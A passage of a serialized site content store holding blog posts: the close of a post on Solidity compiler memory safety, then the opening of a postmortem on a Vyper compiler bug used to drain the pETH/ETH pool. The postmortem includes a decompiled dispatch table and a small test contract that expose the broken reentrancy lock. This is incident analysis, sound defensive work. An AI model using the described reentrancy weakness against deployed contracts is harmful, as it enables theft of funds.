}\n",[29127],{"type":23,"tag":92,"props":29128,"children":29129},{"__ignoreMap":7},[29130,29138,29146,29153,29189,29196,29204,29212,29220,29228,29236,29249,29262,29270],{"type":23,"tag":134,"props":29131,"children":29132},{"class":136,"line":137},[29133],{"type":23,"tag":134,"props":29134,"children":29135},{"style":141},[29136],{"type":28,"value":29137},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":23,"tag":134,"props":29139,"children":29140},{"class":136,"line":147},[29141],{"type":23,"tag":134,"props":29142,"children":29143},{"style":141},[29144],{"type":28,"value":29145},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":23,"tag":134,"props":29147,"children":29148},{"class":136,"line":185},[29149],{"type":23,"tag":134,"props":29150,"children":29151},{"emptyLinePlaceholder":15},[29152],{"type":28,"value":865},{"type":23,"tag":134,"props":29154,"children":29155},{"class":136,"line":221},[29156,29161,29166,29171,29175,29180,29185],{"type":23,"tag":134,"props":29157,"children":29158},{"style":597},[29159],{"type":28,"value":29160},"string",{"type":23,"tag":134,"props":29162,"children":29163},{"style":179},[29164],{"type":28,"value":29165}," IRGenerator::",{"type":23,"tag":134,"props":29167,"children":29168},{"style":264},[29169],{"type":28,"value":29170},"memoryInit",{"type":23,"tag":134,"props":29172,"children":29173},{"style":179},[29174],{"type":28,"value":272},{"type":23,"tag":134,"props":29176,"children":29177},{"style":151},[29178],{"type":28,"value":29179},"bool",{"type":23,"tag":134,"props":29181,"children":29182},{"style":162},[29183],{"type":28,"value":29184}," _useMemoryGuard",{"type":23,"tag":134,"props":29186,"children":29187},{"style":179},[29188],{"type":28,"value":329},{"type":23,"tag":134,"props":29190,"children":29191},{"class":136,"line":332},[29192],{"type":23,"tag":134,"props":29193,"children":29194},{"style":179},[29195],{"type":28,"value":10346},{"type":23,"tag":134,"props":29197,"children":29198},{"class":136,"line":438},[29199],{"type":23,"tag":134,"props":29200,"children":29201},{"style":141},[29202],{"type":28,"value":29203}," // This function should be called at the beginning of the EVM call frame\n",{"type":23,"tag":134,"props":29205,"children":29206},{"class":136,"line":466},[29207],{"type":23,"tag":134,"props":29208,"children":29209},{"style":141},[29210],{"type":28,"value":29211}," // and thus can assume all memory to be zero, including the contents of\n",{"type":23,"tag":134,"props":29213,"children":29214},{"class":136,"line":479},[29215],{"type":23,"tag":134,"props":29216,"children":29217},{"style":141},[29218],{"type":28,"value":29219}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":23,"tag":134,"props":29221,"children":29222},{"class":136,"line":497},[29223],{"type":23,"tag":134,"props":29224,"children":29225},{"style":189},[29226],{"type":28,"value":29227}," return\n",{"type":23,"tag":134,"props":29229,"children":29230},{"class":136,"line":518},[29231],{"type":23,"tag":134,"props":29232,"children":29233},{"style":179},[29234],{"type":28,"value":29235},"  Whiskers{\n",{"type":23,"tag":134,"props":29237,"children":29238},{"class":136,"line":527},[29239,29244],{"type":23,"tag":134,"props":29240,"children":29241},{"style":179},[29242],{"type":28,"value":29243},"   _useMemoryGuard ",{"type":23,"tag":134,"props":29245,"children":29246},{"style":168},[29247],{"type":28,"value":29248},"?\n",{"type":23,"tag":134,"props":29250,"children":29251},{"class":136,"line":780},[29252,29257],{"type":23,"tag":134,"props":29253,"children":29254},{"style":1461},[29255],{"type":28,"value":29256},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":23,"tag":134,"props":29258,"children":29259},{"style":168},[29260],{"type":28,"value":29261}," :\n",{"type":23,"tag":134,"props":29263,"children":29264},{"class":136,"line":797},[29265],{"type":23,"tag":134,"props":29266,"children":29267},{"style":1461},[29268],{"type":28,"value":29269},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":23,"tag":134,"props":29271,"children":29272},{"class":136,"line":814},[29273],{"type":23,"tag":134,"props":29274,"children":29275},{"style":179},[29276],{"type":28,"value":5328},{"type":23,"tag":24,"props":29278,"children":29279},{},[29280,29285,29287,29293],{"type":23,"tag":92,"props":29281,"children":29283},{"className":29282},[],[29284],{"type":28,"value":28872},{"type":28,"value":29286}," will now no longer have ",{"type":23,"tag":92,"props":29288,"children":29290},{"className":29289},[],[29291],{"type":28,"value":29292},"memoryguard(0x80)",{"type":28,"value":29294}," as expected.",{"type":23,"tag":87,"props":29296,"children":29298},{"className":1680,"code":29297,"language":1679,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[29299],{"type":23,"tag":92,"props":29300,"children":29301},{"__ignoreMap":7},[29302,29317],{"type":23,"tag":134,"props":29303,"children":29304},{"class":136,"line":137},[29305,29309,29313],{"type":23,"tag":134,"props":29306,"children":29307},{"style":141},[29308],{"type":28,"value":28889},{"type":23,"tag":134,"props":29310,"children":29311},{"style":151},[29312],{"type":28,"value":28894},{"type":23,"tag":134,"props":29314,"children":29315},{"style":141},[29316],{"type":28,"value":28899},{"type":23,"tag":134,"props":29318,"children":29319},{"class":136,"line":147},[29320,29325,29329,29333,29337,29342],{"type":23,"tag":134,"props":29321,"children":29322},{"style":264},[29323],{"type":28,"value":29324},"    mstore",{"type":23,"tag":134,"props":29326,"children":29327},{"style":179},[29328],{"type":28,"value":272},{"type":23,"tag":134,"props":29330,"children":29331},{"style":205},[29332],{"type":28,"value":28916},{"type":23,"tag":134,"props":29334,"children":29335},{"style":179},[29336],{"type":28,"value":242},{"type":23,"tag":134,"props":29338,"children":29339},{"style":205},[29340],{"type":28,"value":29341},"128",{"type":23,"tag":134,"props":29343,"children":29344},{"style":179},[29345],{"type":28,"value":329},{"type":23,"tag":24,"props":29347,"children":29348},{},[29349,29351,29356,29358,29363],{"type":28,"value":29350},"Semantically, the absence of ",{"type":23,"tag":92,"props":29352,"children":29354},{"className":29353},[],[29355],{"type":28,"value":28864},{"type":28,"value":29357}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":23,"tag":92,"props":29359,"children":29361},{"className":29360},[],[29362],{"type":28,"value":28864},{"type":28,"value":29364}," invariant.",{"type":23,"tag":78,"props":29366,"children":29367},{},[29368],{"type":23,"tag":24,"props":29369,"children":29370},{},[29371,29372,29377,29378,29383,29384,29389],{"type":28,"value":28958},{"type":23,"tag":92,"props":29373,"children":29375},{"className":29374},[],[29376],{"type":28,"value":28964},{"type":28,"value":28966},{"type":23,"tag":92,"props":29379,"children":29381},{"className":29380},[],[29382],{"type":28,"value":28972},{"type":28,"value":28974},{"type":23,"tag":92,"props":29385,"children":29387},{"className":29386},[],[29388],{"type":28,"value":13417},{"type":28,"value":720},{"type":23,"tag":24,"props":29391,"children":29392},{},[29393],{"type":28,"value":29394},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":23,"tag":61,"props":29396,"children":29398},{"id":29397},"undefined-behavior",[29399],{"type":28,"value":29400},"Undefined Behavior",{"type":23,"tag":24,"props":29402,"children":29403},{},[29404,29406,29411,29413,29418,29420,29426],{"type":28,"value":29405},"How strict is memory safety? When it comes to ",{"type":23,"tag":92,"props":29407,"children":29409},{"className":29408},[],[29410],{"type":28,"value":28864},{"type":28,"value":29412},", only touching memory after 0x80 seems to matter. Is ",{"type":23,"tag":92,"props":29414,"children":29416},{"className":29415},[],[29417],{"type":28,"value":28522},{"type":28,"value":29419}," annotated assembly that touches memory at ",{"type":23,"tag":92,"props":29421,"children":29423},{"className":29422},[],[29424],{"type":28,"value":29425},"[0x40, 0x7f]",{"type":28,"value":29427}," really safe?",{"type":23,"tag":24,"props":29429,"children":29430},{},[29431,29432,29439,29441,29446],{"type":28,"value":16084},{"type":23,"tag":31,"props":29433,"children":29436},{"href":29434,"rel":29435},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[35],[29437],{"type":28,"value":29438},"Solidity documentation",{"type":28,"value":29440}," mentions ",{"type":23,"tag":55,"props":29442,"children":29443},{},[29444],{"type":28,"value":29445},"undefined behavior",{"type":28,"value":29447}," three times.",{"type":23,"tag":4890,"props":29449,"children":29450},{},[29451,29456,29471],{"type":23,"tag":4894,"props":29452,"children":29453},{},[29454],{"type":28,"value":29455},"The existence of a dangling reference",{"type":23,"tag":4894,"props":29457,"children":29458},{},[29459,29461],{"type":28,"value":29460},"Using verbatim improperly",{"type":23,"tag":14943,"props":29462,"children":29463},{},[29464],{"type":23,"tag":31,"props":29465,"children":29469},{"href":29466,"ariaDescribedBy":29467,"dataFootnoteRef":7,"id":29468},"#user-content-fn-2",[14950],"user-content-fnref-2",[29470],{"type":28,"value":291},{"type":23,"tag":4894,"props":29472,"children":29473},{},[29474],{"type":28,"value":29475},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":23,"tag":24,"props":29477,"children":29478},{},[29479],{"type":28,"value":29480},"Why does this matter?",{"type":23,"tag":24,"props":29482,"children":29483},{},[29484,29486,29493,29495,29502],{"type":28,"value":29485},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":23,"tag":31,"props":29487,"children":29490},{"href":29488,"rel":29489},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[35],[29491],{"type":28,"value":29492},"signed integer overflow is undefined",{"type":28,"value":29494},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":23,"tag":31,"props":29496,"children":29499},{"href":29497,"rel":29498},"https://blog.regehr.org/archives/1307",[35],[29500],{"type":28,"value":29501},"years down the line",{"type":28,"value":720},{"type":23,"tag":24,"props":29504,"children":29505},{},[29506,29508,29515,29516,29521],{"type":28,"value":29507},"Going back to Solidity, the specification makes ",{"type":23,"tag":31,"props":29509,"children":29512},{"href":29510,"rel":29511},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[35],[29513],{"type":28,"value":29514},"it unambiguously clear",{"type":28,"value":18006},{"type":23,"tag":55,"props":29517,"children":29518},{},[29519],{"type":28,"value":29520},"Thou shalt not modify the zero slot",{"type":28,"value":720},{"type":23,"tag":78,"props":29523,"children":29524},{},[29525],{"type":23,"tag":24,"props":29526,"children":29527},{},[29528],{"type":28,"value":29529},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":23,"tag":24,"props":29531,"children":29532},{},[29533,29535,29540],{"type":28,"value":29534},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":23,"tag":55,"props":29536,"children":29537},{},[29538],{"type":28,"value":29539},"in Solidity",{"type":28,"value":720},{"type":23,"tag":24,"props":29542,"children":29543},{},[29544],{"type":28,"value":29545},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":23,"tag":4890,"props":29547,"children":29548},{},[29549],{"type":23,"tag":4894,"props":29550,"children":29551},{},[29552,29554,29561],{"type":28,"value":29553},"It very clearly ",{"type":23,"tag":31,"props":29555,"children":29558},{"href":29556,"rel":29557},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[35],[29559],{"type":28,"value":29560},"holds true today",{"type":28,"value":720},{"type":23,"tag":87,"props":29563,"children":29565},{"className":28603,"code":29564,"language":28605,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[29566],{"type":23,"tag":92,"props":29567,"children":29568},{"__ignoreMap":7},[29569,29609,29616,29629,29701,29722,29773,29780],{"type":23,"tag":134,"props":29570,"children":29571},{"class":136,"line":137},[29572,29576,29581,29586,29590,29595,29600,29605],{"type":23,"tag":134,"props":29573,"children":29574},{"style":151},[29575],{"type":28,"value":29179},{"type":23,"tag":134,"props":29577,"children":29578},{"style":179},[29579],{"type":28,"value":29580}," IRGeneratorForStatements::",{"type":23,"tag":134,"props":29582,"children":29583},{"style":264},[29584],{"type":28,"value":29585},"visit",{"type":23,"tag":134,"props":29587,"children":29588},{"style":179},[29589],{"type":28,"value":272},{"type":23,"tag":134,"props":29591,"children":29592},{"style":597},[29593],{"type":28,"value":29594},"InlineAssembly",{"type":23,"tag":134,"props":29596,"children":29597},{"style":151},[29598],{"type":28,"value":29599}," const&",{"type":23,"tag":134,"props":29601,"children":29602},{"style":162},[29603],{"type":28,"value":29604}," _inlineAsm",{"type":23,"tag":134,"props":29606,"children":29607},{"style":179},[29608],{"type":28,"value":329},{"type":23,"tag":134,"props":29610,"children":29611},{"class":136,"line":147},[29612],{"type":23,"tag":134,"props":29613,"children":29614},{"style":179},[29615],{"type":28,"value":10346},{"type":23,"tag":134,"props":29617,"children":29618},{"class":136,"line":185},[29619,29624],{"type":23,"tag":134,"props":29620,"children":29621},{"style":264},[29622],{"type":28,"value":29623},"    setLocation",{"type":23,"tag":134,"props":29625,"children":29626},{"style":179},[29627],{"type":28,"value":29628},"(_inlineAsm);\n",{"type":23,"tag":134,"props":29630,"children":29631},{"class":136,"line":221},[29632,29636,29640,29644,29649,29653,29658,29663,29668,29672,29676,29680,29684,29688,29692,29697],{"type":23,"tag":134,"props":29633,"children":29634},{"style":189},[29635],{"type":28,"value":11746},{"type":23,"tag":134,"props":29637,"children":29638},{"style":179},[29639],{"type":28,"value":232},{"type":23,"tag":134,"props":29641,"children":29642},{"style":168},[29643],{"type":28,"value":1777},{"type":23,"tag":134,"props":29645,"children":29646},{"style":162},[29647],{"type":28,"value":29648},"_inlineAsm",{"type":23,"tag":134,"props":29650,"children":29651},{"style":179},[29652],{"type":28,"value":720},{"type":23,"tag":134,"props":29654,"children":29655},{"style":264},[29656],{"type":28,"value":29657},"annotation",{"type":23,"tag":134,"props":29659,"children":29660},{"style":179},[29661],{"type":28,"value":29662},"().",{"type":23,"tag":134,"props":29664,"children":29665},{"style":162},[29666],{"type":28,"value":29667},"hasMemoryEffects",{"type":23,"tag":134,"props":29669,"children":29670},{"style":168},[29671],{"type":28,"value":13653},{"type":23,"tag":134,"props":29673,"children":29674},{"style":168},[29675],{"type":28,"value":12331},{"type":23,"tag":134,"props":29677,"children":29678},{"style":162},[29679],{"type":28,"value":29648},{"type":23,"tag":134,"props":29681,"children":29682},{"style":179},[29683],{"type":28,"value":720},{"type":23,"tag":134,"props":29685,"children":29686},{"style":264},[29687],{"type":28,"value":29657},{"type":23,"tag":134,"props":29689,"children":29690},{"style":179},[29691],{"type":28,"value":29662},{"type":23,"tag":134,"props":29693,"children":29694},{"style":162},[29695],{"type":28,"value":29696},"markedMemorySafe",{"type":23,"tag":134,"props":29698,"children":29699},{"style":179},[29700],{"type":28,"value":329},{"type":23,"tag":134,"props":29702,"children":29703},{"class":136,"line":332},[29704,29709,29713,29718],{"type":23,"tag":134,"props":29705,"children":29706},{"style":162},[29707],{"type":28,"value":29708},"        m_context",{"type":23,"tag":134,"props":29710,"children":29711},{"style":179},[29712],{"type":28,"value":720},{"type":23,"tag":134,"props":29714,"children":29715},{"style":264},[29716],{"type":28,"value":29717},"setMemoryUnsafeInlineAssemblySeen",{"type":23,"tag":134,"props":29719,"children":29720},{"style":179},[29721],{"type":28,"value":856},{"type":23,"tag":134,"props":29723,"children":29724},{"class":136,"line":438},[29725,29730,29734,29738,29743,29748,29752,29756,29760,29764,29769],{"type":23,"tag":134,"props":29726,"children":29727},{"style":179},[29728],{"type":28,"value":29729},"    CopyTranslate bodyCopier{",{"type":23,"tag":134,"props":29731,"children":29732},{"style":162},[29733],{"type":28,"value":29648},{"type":23,"tag":134,"props":29735,"children":29736},{"style":179},[29737],{"type":28,"value":720},{"type":23,"tag":134,"props":29739,"children":29740},{"style":264},[29741],{"type":28,"value":29742},"dialect",{"type":23,"tag":134,"props":29744,"children":29745},{"style":179},[29746],{"type":28,"value":29747},"(), m_context, ",{"type":23,"tag":134,"props":29749,"children":29750},{"style":162},[29751],{"type":28,"value":29648},{"type":23,"tag":134,"props":29753,"children":29754},{"style":179},[29755],{"type":28,"value":720},{"type":23,"tag":134,"props":29757,"children":29758},{"style":264},[29759],{"type":28,"value":29657},{"type":23,"tag":134,"props":29761,"children":29762},{"style":179},[29763],{"type":28,"value":29662},{"type":23,"tag":134,"props":29765,"children":29766},{"style":162},[29767],{"type":28,"value":29768},"externalReferences",{"type":23,"tag":134,"props":29770,"children":29771},{"style":179},[29772],{"type":28,"value":16048},{"type":23,"tag":134,"props":29774,"children":29775},{"class":136,"line":466},[29776],{"type":23,"tag":134,"props":29777,"children":29778},{"emptyLinePlaceholder":15},[29779],{"type":28,"value":865},{"type":23,"tag":134,"props":29781,"children":29782},{"class":136,"line":479},[29783,29788,29792,29797,29801,29805,29809,29814],{"type":23,"tag":134,"props":29784,"children":29785},{"style":179},[29786],{"type":28,"value":29787},"    yul::Statement modified ",{"type":23,"tag":134,"props":29789,"children":29790},{"style":168},[29791],{"type":28,"value":257},{"type":23,"tag":134,"props":29793,"children":29794},{"style":264},[29795],{"type":28,"value":29796}," bodyCopier",{"type":23,"tag":134,"props":29798,"children":29799},{"style":179},[29800],{"type":28,"value":272},{"type":23,"tag":134,"props":29802,"children":29803},{"style":162},[29804],{"type":28,"value":29648},{"type":23,"tag":134,"props":29806,"children":29807},{"style":179},[29808],{"type":28,"value":720},{"type":23,"tag":134,"props":29810,"children":29811},{"style":264},[29812],{"type":28,"value":29813},"operations",{"type":23,"tag":134,"props":29815,"children":29816},{"style":179},[29817],{"type":28,"value":29818},"());`\n",{"type":23,"tag":4890,"props":29820,"children":29821},{"start":147},[29822],{"type":23,"tag":4894,"props":29823,"children":29824},{},[29825],{"type":28,"value":29826},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":23,"tag":24,"props":29828,"children":29829},{},[29830],{"type":28,"value":29831},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":23,"tag":61,"props":29833,"children":29834},{"id":2517},[29835],{"type":28,"value":2520},{"type":23,"tag":24,"props":29837,"children":29838},{},[29839],{"type":28,"value":29840},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":23,"tag":24,"props":29842,"children":29843},{},[29844],{"type":28,"value":29845},"It's a promise between YUL generation and optimization.",{"type":23,"tag":17896,"props":29847,"children":29849},{"className":29848,"dataFootnotes":7},[17899],[29850,29855],{"type":23,"tag":61,"props":29851,"children":29853},{"className":29852,"id":14950},[17904],[29854],{"type":28,"value":17907},{"type":23,"tag":4890,"props":29856,"children":29857},{},[29858,29892],{"type":23,"tag":4894,"props":29859,"children":29861},{"id":29860},"user-content-fn-1",[29862,29864,29869,29871,29877,29879,29884,29886],{"type":28,"value":29863},"As an interesting aside, ",{"type":23,"tag":92,"props":29865,"children":29867},{"className":29866},[],[29868],{"type":28,"value":28864},{"type":28,"value":29870}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":23,"tag":92,"props":29872,"children":29874},{"className":29873},[],[29875],{"type":28,"value":29876},"memory-unsafe",{"type":28,"value":29878}," code can ",{"type":23,"tag":55,"props":29880,"children":29881},{},[29882],{"type":28,"value":29883},"decrease",{"type":28,"value":29885}," gas consumption, especially in the YUL header. ",{"type":23,"tag":31,"props":29887,"children":29890},{"href":29888,"ariaLabel":18010,"className":29889,"dataFootnoteBackref":7},"#user-content-fnref-1",[18012],[29891],{"type":28,"value":18015},{"type":23,"tag":4894,"props":29893,"children":29895},{"id":29894},"user-content-fn-2",[29896,29898,29903,29905],{"type":28,"value":29897},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":23,"tag":55,"props":29899,"children":29900},{},[29901],{"type":28,"value":29902},"guarantee",{"type":28,"value":29904}," behavior with opaque bytes. ",{"type":23,"tag":31,"props":29906,"children":29909},{"href":29907,"ariaLabel":18030,"className":29908,"dataFootnoteBackref":7},"#user-content-fnref-2",[18012],[29910],{"type":28,"value":18015},{"type":23,"tag":2575,"props":29912,"children":29913},{},[29914],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":29916},[29917,29918,29919,29920,29921,29922,29923],{"id":28508,"depth":147,"text":28511},{"id":28562,"depth":147,"text":28565},{"id":28826,"depth":147,"text":28829},{"id":28557,"depth":147,"text":29050},{"id":29397,"depth":147,"text":29400},{"id":2517,"depth":147,"text":2520},{"id":14950,"depth":147,"text":17907},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":29928,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":29929,"description":29930,"author":5175,"image":29931,"date":29933,"isFeatured":15,"onBlogPage":15,"tags":29934,"body":29936,"_type":2586,"_id":30687,"_source":2588,"_file":30688,"_stem":30689,"_extension":2591},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":29932,"height":13091,"width":13091},"/posts/vyper-timeline/header.jpg","2023-08-01",[29935,28503],"vyper",{"type":20,"children":29937,"toc":30678},[29938,29943,29948,29953,29959,29964,29982,29992,29997,30005,30015,30034,30114,30124,30284,30289,30294,30304,30311,30316,30321,30335,30340,30357,30374,30393,30403,30416,30421,30434,30439,30444,30454,30481,30491,30521,30527,30536,30542,30547,30552,30557,30563,30568,30582,30587,30592,30597,30603,30608,30621,30647,30652,30674],{"type":23,"tag":24,"props":29939,"children":29940},{},[29941],{"type":28,"value":29942},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":23,"tag":24,"props":29944,"children":29945},{},[29946],{"type":28,"value":29947},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":23,"tag":24,"props":29949,"children":29950},{},[29951],{"type":28,"value":29952},"Here's how it all happened.",{"type":23,"tag":61,"props":29954,"children":29956},{"id":29955},"timeline",[29957],{"type":28,"value":29958},"Timeline",{"type":23,"tag":24,"props":29960,"children":29961},{},[29962],{"type":28,"value":29963},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":23,"tag":24,"props":29965,"children":29966},{},[29967,29972,29974,29981],{"type":23,"tag":2532,"props":29968,"children":29969},{},[29970],{"type":28,"value":29971},"13:10 UTC",{"type":28,"value":29973}," pETH/ETH was ",{"type":23,"tag":31,"props":29975,"children":29978},{"href":29976,"rel":29977},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[35],[29979],{"type":28,"value":29980},"drained of $11M",{"type":28,"value":720},{"type":23,"tag":24,"props":29983,"children":29984},{},[29985,29990],{"type":23,"tag":2532,"props":29986,"children":29987},{},[29988],{"type":28,"value":29989},"13:19 UTC",{"type":28,"value":29991}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":23,"tag":24,"props":29993,"children":29994},{},[29995],{"type":28,"value":29996},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":23,"tag":78,"props":29998,"children":29999},{},[30000],{"type":23,"tag":24,"props":30001,"children":30002},{},[30003],{"type":28,"value":30004},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":23,"tag":24,"props":30006,"children":30007},{},[30008,30013],{"type":23,"tag":2532,"props":30009,"children":30010},{},[30011],{"type":28,"value":30012},"14:01 UTC",{"type":28,"value":30014}," A warroom was formed around this comment.",{"type":23,"tag":24,"props":30016,"children":30017},{},[30018,30023,30025,30032],{"type":23,"tag":2532,"props":30019,"children":30020},{},[30021],{"type":28,"value":30022},"14:07 UTC",{"type":28,"value":30024}," We decompiled the JPEGd contract ",{"type":23,"tag":31,"props":30026,"children":30029},{"href":30027,"rel":30028},"https://ethervm.io/decompile",[35],[30030],{"type":28,"value":30031},"with our favorite decompiler",{"type":28,"value":30033}," and noted a difference in reentrancy guard storage slot.",{"type":23,"tag":87,"props":30035,"children":30039},{"className":30036,"code":30037,"language":30038,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[30040],{"type":23,"tag":92,"props":30041,"children":30042},{"__ignoreMap":7},[30043,30051,30059,30067,30075,30082,30090,30098,30106],{"type":23,"tag":134,"props":30044,"children":30045},{"class":136,"line":137},[30046],{"type":23,"tag":134,"props":30047,"children":30048},{},[30049],{"type":28,"value":30050},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":23,"tag":134,"props":30052,"children":30053},{"class":136,"line":147},[30054],{"type":23,"tag":134,"props":30055,"children":30056},{},[30057],{"type":28,"value":30058},"label_0057:\n",{"type":23,"tag":134,"props":30060,"children":30061},{"class":136,"line":185},[30062],{"type":23,"tag":134,"props":30063,"children":30064},{},[30065],{"type":28,"value":30066},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":134,"props":30068,"children":30069},{"class":136,"line":221},[30070],{"type":23,"tag":134,"props":30071,"children":30072},{},[30073],{"type":28,"value":30074},"    storage[0x00] = 0x01;\n",{"type":23,"tag":134,"props":30076,"children":30077},{"class":136,"line":332},[30078],{"type":23,"tag":134,"props":30079,"children":30080},{"emptyLinePlaceholder":15},[30081],{"type":28,"value":865},{"type":23,"tag":134,"props":30083,"children":30084},{"class":136,"line":438},[30085],{"type":23,"tag":134,"props":30086,"children":30087},{},[30088],{"type":28,"value":30089},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":23,"tag":134,"props":30091,"children":30092},{"class":136,"line":466},[30093],{"type":23,"tag":134,"props":30094,"children":30095},{},[30096],{"type":28,"value":30097},"label_1AF3:\n",{"type":23,"tag":134,"props":30099,"children":30100},{"class":136,"line":479},[30101],{"type":23,"tag":134,"props":30102,"children":30103},{},[30104],{"type":28,"value":30105},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":134,"props":30107,"children":30108},{"class":136,"line":497},[30109],{"type":23,"tag":134,"props":30110,"children":30111},{},[30112],{"type":28,"value":30113},"    storage[0x02] = 0x01;\n",{"type":23,"tag":24,"props":30115,"children":30116},{},[30117,30122],{"type":23,"tag":2532,"props":30118,"children":30119},{},[30120],{"type":28,"value":30121},"14:27 UTC",{"type":28,"value":30123}," We confirmed this behavior with a simple local test contract.",{"type":23,"tag":87,"props":30125,"children":30127},{"className":18938,"code":30126,"language":18937,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[30128],{"type":23,"tag":92,"props":30129,"children":30130},{"__ignoreMap":7},[30131,30139,30160,30195,30207,30214,30221,30240,30272],{"type":23,"tag":134,"props":30132,"children":30133},{"class":136,"line":137},[30134],{"type":23,"tag":134,"props":30135,"children":30136},{"style":264},[30137],{"type":28,"value":30138},"@external\n",{"type":23,"tag":134,"props":30140,"children":30141},{"class":136,"line":147},[30142,30147,30151,30156],{"type":23,"tag":134,"props":30143,"children":30144},{"style":264},[30145],{"type":28,"value":30146},"@nonreentrant",{"type":23,"tag":134,"props":30148,"children":30149},{"style":179},[30150],{"type":28,"value":272},{"type":23,"tag":134,"props":30152,"children":30153},{"style":1461},[30154],{"type":28,"value":30155},"\"lock\"",{"type":23,"tag":134,"props":30157,"children":30158},{"style":179},[30159],{"type":28,"value":329},{"type":23,"tag":134,"props":30161,"children":30162},{"class":136,"line":185},[30163,30168,30173,30177,30182,30187,30191],{"type":23,"tag":134,"props":30164,"children":30165},{"style":151},[30166],{"type":28,"value":30167},"def",{"type":23,"tag":134,"props":30169,"children":30170},{"style":264},[30171],{"type":28,"value":30172}," test",{"type":23,"tag":134,"props":30174,"children":30175},{"style":179},[30176],{"type":28,"value":272},{"type":23,"tag":134,"props":30178,"children":30179},{"style":162},[30180],{"type":28,"value":30181},"addr",{"type":23,"tag":134,"props":30183,"children":30184},{"style":179},[30185],{"type":28,"value":30186},": address) -> ",{"type":23,"tag":134,"props":30188,"children":30189},{"style":597},[30190],{"type":28,"value":29179},{"type":23,"tag":134,"props":30192,"children":30193},{"style":179},[30194],{"type":28,"value":5023},{"type":23,"tag":134,"props":30196,"children":30197},{"class":136,"line":221},[30198,30202],{"type":23,"tag":134,"props":30199,"children":30200},{"style":189},[30201],{"type":28,"value":16461},{"type":23,"tag":134,"props":30203,"children":30204},{"style":151},[30205],{"type":28,"value":30206}," 